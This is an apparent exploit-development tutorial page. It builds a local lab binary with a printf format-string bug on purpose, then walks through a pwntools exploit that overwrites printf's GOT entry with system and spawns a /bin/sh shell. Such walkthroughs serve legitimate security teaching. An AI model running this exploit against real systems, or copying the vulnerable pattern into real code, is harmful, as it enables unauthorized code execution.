Exploiting a GOT overwrite

Source

The very simplest of possible GOT-overwrite binaries.

#include <stdio.h>

void vuln() {
    char buffer[300];
    
    while(1) {
        fgets(buffer, sizeof(buffer), stdin);

        printf(buffer);
        puts("");
    }
}

int main() {
    vuln();

    return 0;
}

Infinite loop which takes in your input and prints it out to you using printf - no buffer overflow, just format string. Let's assume ASLR is disabled - have a go yourself :)

Exploitation

As per usual, set it all up

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

Now, to do the %n overwrite, we need to find the offset until we start reading the buffer.

$ ./got_overwrite 

%p %p %p %p %p %p
0x12c 0xf7fa7580 0x8049191 0x340 0x25207025 0x70252070

Looks like it's the 5th.

$./got_overwrite
 
%5$p
0x70243525

Yes it is!

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.interactive()

Now, next time printf gets called on your input it'll actually be system!

If the buffer is restrictive, you can always send /bin/sh to get you into a shell and run longer commands.

Final Exploit

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

64-bit

You'll never guess. That's right! You can do this one by yourself.

ASLR Enabled

If you want an additional challenge, re-enable ASLR and do the 32-bit and 64-bit exploits again; you'll have to leverage what we've covered previously.

Last updated